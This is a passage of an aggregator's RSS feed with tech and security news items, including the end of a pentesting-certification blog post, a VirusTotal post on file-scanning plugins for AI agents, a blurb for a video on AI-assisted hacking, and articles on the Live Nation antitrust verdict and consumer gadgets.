PWPP. To pass this exam, you’re going to need every trick in your book. So make sure your notes are up to date.</p><p>A very big difference between PWPE and the previous two certs: you don’t really know what you’re looking for. Obviously you look at the things you learned during the course, but unlike PWPA and PWPP, you <strong>will not pass</strong> with only the things from the <em>Advanced Web Hacking</em> course. You’ll need a profound knowledge of the basics. On top of that, you’ll need to develop a <em>spidey sense</em> for things that are a bit weird and be able to look those things up. The exam isn’t designed to trick you, but it <em>is</em> designed to be expert-level.</p><h3>The course</h3><p>The course covers the quality you’ve come to expect from Alex’s material. Topics include:</p><ul><li>Prototype pollution</li><li>GraphQL</li><li>Code review</li><li>Code (de)obfuscation</li><li>OAuth</li><li>Cache poisoning</li></ul><p>Each topic starts with a theoretical explanation, and as always, Alex walks you through some examples. Then you have a shot at doing some capstones on your own at the end of each module.</p><h3>The exam</h3><p>Read the RoE with even <strong>more</strong> care than you did for any other TCM cert. Once you read it, just read it again, to make sure you saw it all.</p><h3>My exam</h3><p>After reading and rereading the RoE, it was time to navigate to the start URL. Personally, I found this exam was a bit less overwhelming than PWPP. Still a lot of functionality to go through, but it felt calmer.</p><p>Once the exam started, I did what I always do — went through the app and clicked everything I saw. Then it was time to open up my proxy and inspect the traffic. Like Alex said in one of his reviews, your task is to identify small vulnerabilities and chain them together. So don’t expect to find an obvious XSS.</p><p>After going through the traffic, I decided that a particular functionality would be my first thing to test. I had to peel the onion layer by layer, and I kept track of everything I saw that could possibly be of use later. And sure enough, after only a few hours I chained some low-level things together and was able to drop a payload that could be considered high risk.</p><p>On that high, I continued my testing and found some small issues, but I could not for the life of me chain anything together that was worth noting down. That’s when the panic started to set in. I decided to leave it, and went to bed.</p><p>When I opened up the app the next day, I had enough time to reflect on what I found. I started to really hit those endpoints with everything I had, but nothing — and I mean <strong>absolutely nothing</strong> — worked. I remembered the valuable lesson from PWPP about rabbit holes and moved away from the endpoint I was so sure was the entry point for a critical vulnerability.</p><p>That’s when the expert-level exam became the expert-level exam for me.</p><p>I had the low-hanging fruit, but that wasn’t enough to pass. I needed something critical. And it’s at that point that the exam tests if you have the endurance and insight to go look for the right things. It took a <em>loooooooooong</em> time, and multiple <em>“It’s not gonna be in here, right?!”</em> moments — when my eye caught something small, yet so obvious that I needed to test it. My first test returned absolutely nothing. Another dead end? Or maybe not — let’s try this… And that got me somewhere. That result led me to use Google and look something up. It was strange, I had never seen it, but every part of my body was screaming that I was getting somewhere if I could just crack this little thing. And yeah, that was the critical thing I was looking for. Good old Google to the rescue.</p><p>So with a day of testing to spare, I could start writing my report. I managed to have two high-value vulnerabilities and some minor issues. I had my template ready to go, but because this exam is all about chaining, I needed to adjust the template. I submitted my report at the end of that day after reading it a dozen times.</p><p>Then, totally unexpected, another hard part came. My PWPA and PWPP came back in less than a day, but I had to wait a week for the PWPE results. But when they came back, I was glad I was able to knock this one out of the park on my first try too.</p><h3>Verdict</h3><p>This was a fun exam. It was hard, and maybe you’ll need a bit of luck, but the answer isn’t some niche and weird <em>“Gotcha!”</em> CTF-moment — it will be right there for you. My advice is simply to show that you have <strong><em>perseverance</em></strong> to do what needs to be done. Expert-level doesn’t mean flashy. It means you don’t quit when things get quiet.</p><blockquote><strong><em>Fatigue is the best friend of missed vulnerabilities.</em></strong></blockquote><p><strong>Result:</strong> First attempt pass.</p><h3>What I learned</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fo5TO0v7clY3BTTGpxc4kw.png"></figure><h3>The five lessons</h3><ol><li><strong>Sleep.</strong> Not optional. You see more rested than after 6 hours of grinding.</li><li><strong>Screenshot while you test.</strong> Have a tool that retains your screenshots should you forget to paste them somewhere.</li><li><strong>Don’t test for too long.</strong> A rabbit hole is there for a reason. To make you test it and move on.</li><li><strong>Use your methodology.</strong> Follow your notes, you spend a lot of time creating them, might as well use them.</li><li><strong>Slow down.</strong> You’ll run out of ideas long before your time runs out! No need to rush your testing, keep calm so you don’t miss something obvious.</li></ol><blockquote>Do not learn how to hack, hack to learn.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=b8d76211263a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-passed-three-tcm-certs-in-eight-months-b8d76211263a">How I Passed Three TCM Certs in Eight Months.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sonos Era 300 vs. Denon Home 400: Why I'm pulling the plug on the more popular speaker]]></title>
<description><![CDATA[Is the Denon Home 400 worth the extra cash? I tested it beside my Sonos Era 300, and here's my verdict.]]></description>
<link>https://tsecurity.de/de/3457802/hacking/sonos-era-300-vs-denon-home-400-why-im-pulling-the-plug-on-the-more-popular-speaker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3457802/hacking/sonos-era-300-vs-denon-home-400-why-im-pulling-the-plug-on-the-more-popular-speaker/</guid>
<pubDate>Thu, 23 Apr 2026 13:07:13 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Is the Denon Home 400 worth the extra cash? I tested it beside my Sonos Era 300, and here's my verdict.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Dangerous Evolution of AI Hacking]]></title>
<description><![CDATA[Author: Cybernews - Bewertung: 20114x - Views:560818 Anthropic Claude was used to hack 17 organizations in under a month - by a single person.
How does vibe hacking really work? What role does modern AI have in the world of cybersecurity? From the earliest imaginings of how the world of AI hacker...]]></description>
<link>https://tsecurity.de/de/3451893/it-security-video/the-dangerous-evolution-of-ai-hacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3451893/it-security-video/the-dangerous-evolution-of-ai-hacking/</guid>
<pubDate>Tue, 21 Apr 2026 16:38:10 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Cybernews - Bewertung: 20114x - Views:560818 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/-um9zKf1V30?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Anthropic Claude was used to hack 17 organizations in under a month - by a single person.<br />
How does vibe hacking really work? What role does modern AI have in the world of cybersecurity? From the earliest imaginings of how the world of AI hackers could look to an in-depth exploration of an actual cyberattack performed using AI, this video explores how artificial intelligence inserted itself into the world hitherto inhabited solely by weird men who wear black hoodies and don't shower enough.<br />
<br />
🔐Make yourself safer online with these MASSIVE deals:<br />
✅  NordVPN - 76% OFF ➡️ https://cnews.link/get-nordvpn-promo/-um9zKf1V30/<br />
✅  Surfshark Cleanweb - 87% OFF ➡️ https://cnews.link/get-surfshark-adblock/-um9zKf1V30/<br />
✅  Incogni - 55% OFF ➡️ https://cnews.link/get-incogni/-um9zKf1V30/<br />
<br />
🎯 Subscribe to @cybernews for more hacking documentaries, tech innovation and the latest in cybersecurity: https://cnews.link/subscribe/<br />
<br />
🔥 Collaborate with one of the fastest growing media outlets - https://cybernews.com/advertise-with-us/<br />
<br />
Private Chat episode with Michiel Prins: https://youtu.be/2n6it9YJT98<br />
<br />
Explore the no_rollback playlist - animated stories of cyber events that changed the world:<br />
https://www.youtube.com/playlist?list=PLa8oKYy_2UcMwZCA5vHL7cN_4Thbht3N1<br />
<br />
🤖 Check out our very own AI knowledge base here - https://cybernews.com/ai-knowledge-base/<br />
<br />
💬 Stay connected with us on social media for the latest news, insights, and discussions around cybersecurity:<br />
https://www.facebook.com/cybernewscom<br />
https://www.instagram.com/official_cybernews/<br />
https://x.com/CyberNews<br />
https://lt.linkedin.com/company/cybernews<br />
https://www.threads.com/@official_cybernews<br />
https://www.reddit.com/r/CyberNews/<br />
<br />
Timestamps:<br />
0:00 Intro<br />
1:48 Hackbots in the future year 2000<br />
5:02 The Vibecoders<br />
9:54 How these attacks really work<br />
16:15 The Verdict<br />
21:29 The Last Lesson<br />
<br />
Credits:<br />
Producer: Ignas Žadeikis<br />
Writer: Valius Venckūnas<br />
Video Editing & Animation: Matas Paskačimas, Justas Čėsna<br />
Narration: Ben Mitchell<br />
Thumbnail Design: Domantė Janulevičiūtė, Rui Oliveira<br />
Supervising Producer: Aušra Venckutė<br />
<br />
Sources: https://docs.google.com/document/d/1HtVpSOhjJwDuKmmJIAVZ4aEYuDlcEgWKxxTzwiF3K6E/edit?usp=sharing<br />
<br />
ℹ️ About us:<br />
We are an independent news outlet with a YouTube channel that posts cybersecurity & tech news videos daily. Our foremost concern is the safety and security of our viewers around the world. We remain vigilant on the issue of hacking and will provide updates as they become available. A number of our investigations and reports have been featured by industry-related publications and global news leaders like Forbes, PCMag, and Techradar. <br />
<br />
We are affiliated but not sponsored by any service provider. This means we may receive a small commission when you click on the provided links, however, our reviews are based on independent research and rigorous fact-checking. Cybernews is owned by Mediatech, whose investors are the founders of Nord Security, whose products and services we may review.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Morning After: Our verdict on the DJI Osmo Pocket 4]]></title>
<description><![CDATA[You’ve probably seen DJI’s stick vlogging cameras everywhere. At trade shows and tech events I’ve attended, it’s often the de facto video camera used by reporters and influencers alike. The Osmo Pocket 3 was easy to use, had sharp focus, potent image stabilization and handled vertical and horizon...]]></description>
<link>https://tsecurity.de/de/3441766/it-nachrichten/the-morning-after-our-verdict-on-the-dji-osmo-pocket-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3441766/it-nachrichten/the-morning-after-our-verdict-on-the-dji-osmo-pocket-4/</guid>
<pubDate>Fri, 17 Apr 2026 13:16:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You’ve probably seen DJI’s stick vlogging cameras everywhere. At trade shows and tech events I’ve attended, it’s often the de facto video camera used by reporters and influencers alike. The Osmo Pocket 3 was easy to use, had sharp focus, potent image stabilization and handled vertical and horizontal video recording with minimal compromises.</p>
<p>That was two years ago, so naturally it’s time for an update. According to our review by James Trew, the <a data-i13n="cpos:1;pos:1" href="https://www.engadget.com/cameras/dji-osmo-pocket-4-review-the-only-vlogging-camera-youll-ever-need-120000374.html">Osmo Pocket 4</a> is the one to beat. It’s still incredibly easy to record with, whether you’re doing talk-to-camera vlogs or ambitious, more cinematic-quality videos. With a new 1-inch sensor, improved framerate capture and an extended battery, it’s better than its predecessor in every way. (Except the $605 price.)</p>
<p>There’s a new dedicated zoom button, and you can assign up to three controls to this button through single, double and triple clicks. There’s also 107GB of internal storage, so you don’t <em>need</em> to add storage — that’s plenty to get started with.</p>
<p>There are some things on our wishlist: we’d love some optical zoom, and the lack of dust- and water-protection might give you pause before more ambitious video shoots.</p>
<p>— Mat Smith</p>
<h3>The other big stories this morning</h3>
<ul>
<li><p><a data-i13n="cpos:2;pos:1" href="https://www.engadget.com/entertainment/tv-movies/call-of-duty-movie-arrives-on-june-30-2028-200033481.html"><ins>Not just Street Fighter: Call of Duty movie arrives on June 2028</ins></a></p></li>
<li><p><a data-i13n="cpos:3;pos:1" href="https://www.engadget.com/home/kitchen-tech/recteq-x-fire-pro-825-review-a-smart-grill-that-pulls-double-duty-170000586.html"><ins>Recteq X-Fire Pro 825 review: A smart grill that pulls double duty</ins></a></p></li>
<li><p><a data-i13n="cpos:4;pos:1" href="https://www.engadget.com/entertainment/streaming/reed-hastings-is-leaving-netflix-after-29-years-213136444.html"><ins>Reed Hastings is leaving Netflix after 29 years</ins></a></p></li>
</ul>
<hr>
<h2><a data-i13n="cpos:5;pos:1" href="https://www.engadget.com/apps/youtube-now-lets-you-hide-shorts-085538825.html">You can now hide Shorts on YouTube</a></h2>
<h3>Rejoice.</h3>
<p>You can ditch the barrage of short-form videos from your YouTube feed if you don’t want to see them. YouTube has rolled out the capability to set your Shorts feed limit to zero minutes. The video-sharing platform originally launched a Shorts feed limit back in October last year, but the lowest option you could choose was 15 minutes. The priority placement of shorts I didn’t want to watch has rankled me for a while — this could be the solution.</p>
<p><a data-i13n="cpos:6;pos:1" href="https://www.engadget.com/apps/youtube-now-lets-you-hide-shorts-085538825.html"><strong>Continue reading.</strong></a></p>
<p></p>
<h2><a data-i13n="cpos:7;pos:1" href="https://www.engadget.com/entertainment/tv-movies/the-first-real-trailer-for-the-street-fighter-movie-is-filled-with-crowd-pleasing-moments-153145868.html">The first full trailer for the new Street Fighter movie is here</a></h2>
<h3>Yes, Ken beats up a car.</h3>
<a href="https://www.engadget.com/entertainment/tv-movies/the-first-real-trailer-for-the-street-fighter-movie-is-filled-with-crowd-pleasing-moments-153145868.html"><figure><img src="https://s.yimg.com/os/creatr-uploaded-images/2026-04/33c24480-3a45-11f1-bf77-9a8c7f02292a" data-crop-orig-src="https://s.yimg.com/os/creatr-uploaded-images/2026-04/33c24480-3a45-11f1-bf77-9a8c7f02292a" alt="TMA" data-uuid="852978e6-6c81-312d-a86a-6c67b78e2e0e"><figcaption></figcaption><div class="photo-credit">YouTube</div></figure></a>
<p>After a short teaser dropped last year, we’ve finally got a full trailer for the newest attempt to bring Street Fighter to cinemas. The good news, to me, is that it’s going to be silly, fun and high camp. Ken and Ryu are squabbling, and M. Bison is still, bafflingly, a head of an international crime org. And Chun-Li plans to take him down. Jason Momoa is playing Blanka and Curtis ‘50 Cent’ Jackson is portraying Balrog, while mask-toting Orville Peck will don another mask as Vega.</p>
<p><a data-i13n="cpos:8;pos:1" href="https://www.engadget.com/entertainment/tv-movies/the-first-real-trailer-for-the-street-fighter-movie-is-filled-with-crowd-pleasing-moments-153145868.html"><strong>Continue reading.</strong></a></p>
<p></p>
<span></span><h2><a data-i13n="cpos:9;pos:1" href="https://www.engadget.com/ai/shoe-company-pivots-to-ai-compute-in-sign-of-a-totally-normal-and-healthy-economy-161449196.html">Allbirds pivots to AI</a></h2>
<h3>Never a good sign.</h3>
<a href="https://www.engadget.com/ai/shoe-company-pivots-to-ai-compute-in-sign-of-a-totally-normal-and-healthy-economy-161449196.html"><figure><img src="https://s.yimg.com/os/creatr-uploaded-images/2026-04/45699da0-3a45-11f1-bafe-9391ddaa6217" data-crop-orig-src="https://s.yimg.com/os/creatr-uploaded-images/2026-04/45699da0-3a45-11f1-bafe-9391ddaa6217" alt="TMA" data-uuid="4bc7aa6b-060f-3497-a684-e38dbe67515a"><figcaption></figcaption><div class="photo-credit">Allbirds</div></figure></a>
<p>It’s like walking on a Claude.</p>
<p><a data-i13n="cpos:10;pos:1" href="https://www.engadget.com/ai/shoe-company-pivots-to-ai-compute-in-sign-of-a-totally-normal-and-healthy-economy-161449196.html"><strong>Continue reading.</strong></a></p>This article originally appeared on Engadget at https://www.engadget.com/general/the-morning-after-engadget-newsletter-111515383.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[Tesla is a Crime: Fifty Funerals Before the First Verdict]]></title>
<description><![CDATA[Every layer that could have stopped Tesla fraud was designed to monetize harm after it occurred. Prevention of murder was never in scope, which enabled Elon Musk to get rich on mass suffering. Criminal fraud prosecution of a sitting CEO requires DOJ willingness. SEC enforcement requires a functio...]]></description>
<link>https://tsecurity.de/de/3441440/it-security-nachrichten/tesla-is-a-crime-fifty-funerals-before-the-first-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3441440/it-security-nachrichten/tesla-is-a-crime-fifty-funerals-before-the-first-verdict/</guid>
<pubDate>Fri, 17 Apr 2026 11:37:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Every layer that could have stopped Tesla fraud was designed to monetize harm after it occurred. Prevention of murder was never in scope, which enabled Elon Musk to get rich on mass suffering. Criminal fraud prosecution of a sitting CEO requires DOJ willingness. SEC enforcement requires a functioning SEC. NHTSA enforcement requires a functioning NHTSA. … <a href="https://www.flyingpenguin.com/tesla-is-a-crime-fifty-funerals-before-the-first-verdict/" class="more-link">Continue reading <span class="screen-reader-text">Tesla is a Crime: Fifty Funerals Before the First Verdict</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Live Nation says it will fight monopoly suit loss]]></title>
<description><![CDATA[After a jury found that Live Nation-Ticketmaster violated antitrust law on several counts, the company warns in a blog post that the verdict "is not the last word on this matter." The company plans to renew a motion for the judge to issue a ruling against the states, claiming that they did not pr...]]></description>
<link>https://tsecurity.de/de/3439970/it-nachrichten/live-nation-says-it-will-fight-monopoly-suit-loss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3439970/it-nachrichten/live-nation-says-it-will-fight-monopoly-suit-loss/</guid>
<pubDate>Thu, 16 Apr 2026 21:17:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After a jury found that Live Nation-Ticketmaster violated antitrust law on several counts, the company warns in a blog post that the verdict "is not the last word on this matter." The company plans to renew a motion for the judge to issue a ruling against the states, claiming that they did not prove their […]]]></content:encoded>
</item>
<item>
<title><![CDATA[VirusTotal Inside the Agent Loop]]></title>
<description><![CDATA[At VirusTotal, we are closely following how AI agents are evolving and how we can be useful in that space. Part of that is analysis: the new generation of AI-native artifacts (skills, plugins, IDE extensions, agent configs) that attackers are starting to weaponize as supply-chain vectors. The oth...]]></description>
<link>https://tsecurity.de/de/3439223/malware-trojaner-viren/virustotal-inside-the-agent-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3439223/malware-trojaner-viren/virustotal-inside-the-agent-loop/</guid>
<pubDate>Thu, 16 Apr 2026 17:03:28 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At VirusTotal, we are closely following how AI agents are evolving and how we can be useful in that space. Part of that is analysis: the new generation of AI-native artifacts (skills, plugins, IDE extensions, agent configs) that attackers are starting to weaponize as supply-chain vectors. The other is access: making VirusTotal usable from inside agents, so reputation and Code Insight become part of their decisions, not something a human checks afterwards.</p>
<p>This post focuses on that second part.</p>
<p>Two small experiments, both published under king-tero, the GitHub account of my personal AI agent, which does community tooling on the side. There's a small recursion here: an AI agent writing security plugins for AI agent ecosystems.</p>
<ul>
  <li>
    VT-sentinel (OpenClaw plugin)
    <a href="https://github.com/king-tero/VT-sentinel">https://github.com/king-tero/VT-sentinel</a>
    <ul>
      <li><code>openclaw plugins install clawhub:openclaw-plugin-vt-sentinel</code></li>
    </ul>
  </li>
  <li>
    hermes-virustotal (Hermes plugin)
    <a href="https://github.com/king-tero/hermes-virustotal">https://github.com/king-tero/hermes-virustotal</a>
    <ul>
      <li><code>hermes plugins install king-tero/hermes-virustotal</code></li>
    </ul>
  </li>
</ul>
<p>They're community projects, not official VirusTotal releases, MIT-licensed, and works in progress. They are built on top of the new VirusTotal API for AI agents (VTAI), which is designed specifically for this use case and brings two practical advantages: responses are compact and usable inside an LLM context, and agents have their own identity and audit trail.</p>

<p>Both plugins follow the same idea: put reputation where decisions happen. The agent does not need to look things up separately. The verdict and context are already there, next to the file it is about to use.</p>

<h2>VT-sentinel for OpenClaw</h2>

<p>VT-sentinel watches the directories the agent actually uses (<code>Downloads</code>, <code>/tmp</code>, workspace) and scans files with VirusTotal and Code Insight as they appear. Known-bad files can be quarantined, and suspicious executions blocked.</p>

<p>A few details:</p>

<ul>
  <li>Instruction files (<code>SKILL.md</code>, <code>HOOK.md</code>, <code>AGENTS.md</code>, etc.) default to hash-only lookups. Private prompts are not auto-uploaded.</li>
  <li>Sensitive content (PDFs, Office docs, unknown archives) defaults to explicit per-category consent before upload.</li>
  <li>Nine tools register with the gateway (<code>vt_scan_file</code>, <code>vt_check_hash</code>, <code>vt_sentinel_status</code>, <code>vt_sentinel_configure</code>, …), so both the agent and the user can query state on demand.</li>
  <li>Three presets (<code>balanced</code>, <code>privacy_first</code>, <code>strict_security</code>) cover a reasonable range of risk appetites.</li>
</ul>

<h2>hermes-virustotal for the Hermes agent</h2>

<p>hermes-virustotal takes a slightly different angle. It's a plugin for the Hermes agent that:</p>

<ul>
  <li>Exposes <code>vt_check_hash</code> and <code>vt_check_file</code> as explicit tools the model can call.</li>
  <li>Hooks <code>pre_tool_call</code> so anything written via <code>write_file</code>, <code>patch</code>, or <code>execute_code</code> is hashed, recorded, and annotated with its VirusTotal verdict.</li>
  <li>Hooks <code>pre_llm_call</code> to inject a compact advisor block into the model's context: recent paths, hashes, verdicts, and Code Insight snippets, scoped to the current session and aged out when stale.</li>
</ul>

<p>The upload policy is sensible: binaries (ELF, PE, Mach-O, WASM, Java class, DEX) are auto-submitted so the community can analyze potential new malware; scripts, source, markdown and text are never auto-uploaded; archives are opt-in; and there's a built-in blocklist covering <code>.env*</code>, <code>*.key</code>, <code>*.pem</code>, <code>id_rsa*</code>, <code>.ssh/*</code> and similar paths. By default it fails open (the agent keeps working if VT is unreachable) and <code>VTAI_ENFORCE_KNOWN_MALICIOUS=1</code> turns on hard blocking, limited to exact hashes VirusTotal has already flagged.</p>

<h2>This space is still early</h2>

<p>If you are running OpenClaw or Hermes and want VirusTotal inside the agent loop, try them. Break them. Send PRs. More to come.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Federal jury finds concert business Live Nation is a monopoly]]></title>
<description><![CDATA[Live Nation, which operates the Ticketmaster platform, has been determined to be a monopoly. A federal jury handed down its decision today that the company violated federal and state antitrust rules. This finding won't surprise anyone who has used Ticketmaster and been sticker-shocked by their fi...]]></description>
<link>https://tsecurity.de/de/3436806/it-nachrichten/federal-jury-finds-concert-business-live-nation-is-a-monopoly/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3436806/it-nachrichten/federal-jury-finds-concert-business-live-nation-is-a-monopoly/</guid>
<pubDate>Wed, 15 Apr 2026 22:46:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Live Nation, which operates the Ticketmaster platform, has been determined to be a <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=c813ae39-7d58-41cb-ac66-ad830606ceef&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=33909111-8207-4b5a-b3ac-6a299e2e7ad7&amp;featureId=text-link&amp;merchantName=The+New+York+Times&amp;linkText=monopoly&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5ueXRpbWVzLmNvbS8yMDI2LzA0LzE1L2FydHMvbXVzaWMvbGl2ZS1uYXRpb24tYW50aXRydXN0LXRyaWFsLXZlcmRpY3QtbW9ub3BvbHkuaHRtbCIsImNvbnRlbnRVdWlkIjoiMzM5MDkxMTEtODIwNy00YjVhLWIzYWMtNmEyOTllMmU3YWQ3Iiwib3JpZ2luYWxVcmwiOiJodHRwczovL3d3dy5ueXRpbWVzLmNvbS8yMDI2LzA0LzE1L2FydHMvbXVzaWMvbGl2ZS1uYXRpb24tYW50aXRydXN0LXRyaWFsLXZlcmRpY3QtbW9ub3BvbHkuaHRtbCJ9&amp;signature=AQAAAfe73pWMTVK5Gz8s0SHvi-ruhQnA_1GZRpWcYKCYh2WL&amp;gcReferrer=https%3A%2F%2Fwww.nytimes.com%2F2026%2F04%2F15%2Farts%2Fmusic%2Flive-nation-antitrust-trial-verdict-monopoly.html" data-i13n="elm:affiliate_link;sellerN:The New York Times;elmt:;cpos:1;pos:1" data-original-link="https://www.nytimes.com/2026/04/15/arts/music/live-nation-antitrust-trial-verdict-monopoly.html">monopoly</a>. A federal jury handed down its decision today that the company violated federal and state antitrust rules. This finding won't surprise anyone who has used Ticketmaster and been sticker-shocked by their final bill. However, it's unclear what the jury’s decision will mean in practice. </p><p>For starters, the judge overseeing the case hasn't determined what remedies will be applied. The actions could go as far as requiring Live Nation to sell off Ticketmaster. There are also monetary damages to be awarded, which haven't been set yet. And whatever the judge decides, it's also likely that Live Nation will appeal the decision. We've reached out to Ticketmaster for comment. </p><p>The Department of Justice and a group of state and district attorneys general <a target="_blank" class="link" href="https://www.engadget.com/ticketmaster-owner-sued-by-doj-and-30-attorneys-general-over-alleged-monopoly-160153725.html" data-i13n="cpos:2;pos:1">sued</a> Live Nation on monopoly claims in 2024. The government agency reached a <a target="_blank" class="link" href="https://www.engadget.com/entertainment/music/live-nation-settlement-avoids-breakup-with-ticketmaster-155031214.html" data-i13n="cpos:3;pos:1">settlement</a> with Live Nation last month, but the other parties continued their action. There's also a separate case being waged by the Federal Trade Commission questioning whether Live Nation <a target="_blank" class="link" href="https://www.engadget.com/entertainment/the-ftc-sues-ticketmaster-for-allegedly-colluding-with-resellers-191337586.html" data-i13n="cpos:4;pos:1">colluded with ticket resellers</a>.</p>This article originally appeared on Engadget at https://www.engadget.com/entertainment/music/federal-jury-finds-concert-business-live-nation-is-a-monopoly-203924011.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[Live Nation Illegally Monopolized Ticketing Market, Jury Finds]]></title>
<description><![CDATA[A Manhattan federal jury found that Live Nation and Ticketmaster illegally maintained monopoly power in the ticketing market. The findings follow an antitrust case brought by states after a separate DOJ settlement. CNN reports: The verdict was reached following a lengthy trial in New York federal...]]></description>
<link>https://tsecurity.de/de/3436754/it-security-nachrichten/live-nation-illegally-monopolized-ticketing-market-jury-finds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3436754/it-security-nachrichten/live-nation-illegally-monopolized-ticketing-market-jury-finds/</guid>
<pubDate>Wed, 15 Apr 2026 22:07:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Manhattan federal jury found that Live Nation and Ticketmaster illegally maintained monopoly power in the ticketing market. The findings follow an antitrust case brought by states after a separate DOJ settlement. CNN reports: The verdict was reached following a lengthy trial in New York federal court that included testimony from top executives in the music and entertainment industries. Jurors began deliberating on Friday. The Justice Department and 39 state attorneys general, including California and New York, and Washington, DC, sued Live Nation in 2024 alleging its combination with Ticketmaster and control of "virtually every aspect of the live music ecosystem" have harmed fans, artists, and venues.
 
During the second week of trial, in a move that surprised even the judge, the Justice Department reached a secret settlement with Live Nation. A handful of states signed onto the deal, but more than two dozen proceeded to trial. Under the DOJ deal, Live Nation agreed to allow competitors, like SeatGeek or StubHub, to offer tickets to its events, cap ticketing service fees at 15%, and divest exclusive booking agreements with 13 amphitheaters. The deal includes a $280 million settlement fund for state damages claims for the handful of states that signed onto the deal. The DOJ settlement requires the judge's approval.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Live+Nation+Illegally+Monopolized+Ticketing+Market%2C+Jury+Finds%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F04%2F15%2F1937205%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F04%2F15%2F1937205%2Flive-nation-illegally-monopolized-ticketing-market-jury-finds%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/04/15/1937205/live-nation-illegally-monopolized-ticketing-market-jury-finds?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ticketmaster is an illegal monopoly, jury rules]]></title>
<description><![CDATA[Live Nation-Ticketmaster is an illegal monopolist, a Manhattan jury ruled, according to Bloomberg. The verdict, reached after several days of deliberation, leaves the live entertainment giant open to a potential breakup - which was the stated goal of the lawsuit back when it was filed by the Bide...]]></description>
<link>https://tsecurity.de/de/3436672/it-nachrichten/ticketmaster-is-an-illegal-monopoly-jury-rules/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3436672/it-nachrichten/ticketmaster-is-an-illegal-monopoly-jury-rules/</guid>
<pubDate>Wed, 15 Apr 2026 21:17:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Live Nation-Ticketmaster is an illegal monopolist, a Manhattan jury ruled, according to Bloomberg. The verdict, reached after several days of deliberation, leaves the live entertainment giant open to a potential breakup - which was the stated goal of the lawsuit back when it was filed by the Biden administration's Department of Justice. Such an outcome […]]]></content:encoded>
</item>
<item>
<title><![CDATA[We tested Anthropic’s redesigned Claude Code desktop app and 'Routines' -- here's what enterprises should know]]></title>
<description><![CDATA[The transition from AI as a chatbot to AI as a workforce is no longer a theoretical projection; it has become the primary design philosophy for the modern developer's toolkit. On April 14, 2026, Anthropic signaled this shift with a dual release: a complete redesign of the Claude Code desktop app ...]]></description>
<link>https://tsecurity.de/de/3436644/it-nachrichten/we-tested-anthropics-redesigned-claude-code-desktop-app-and-routines-heres-what-enterprises-should-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3436644/it-nachrichten/we-tested-anthropics-redesigned-claude-code-desktop-app-and-routines-heres-what-enterprises-should-know/</guid>
<pubDate>Wed, 15 Apr 2026 21:02:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
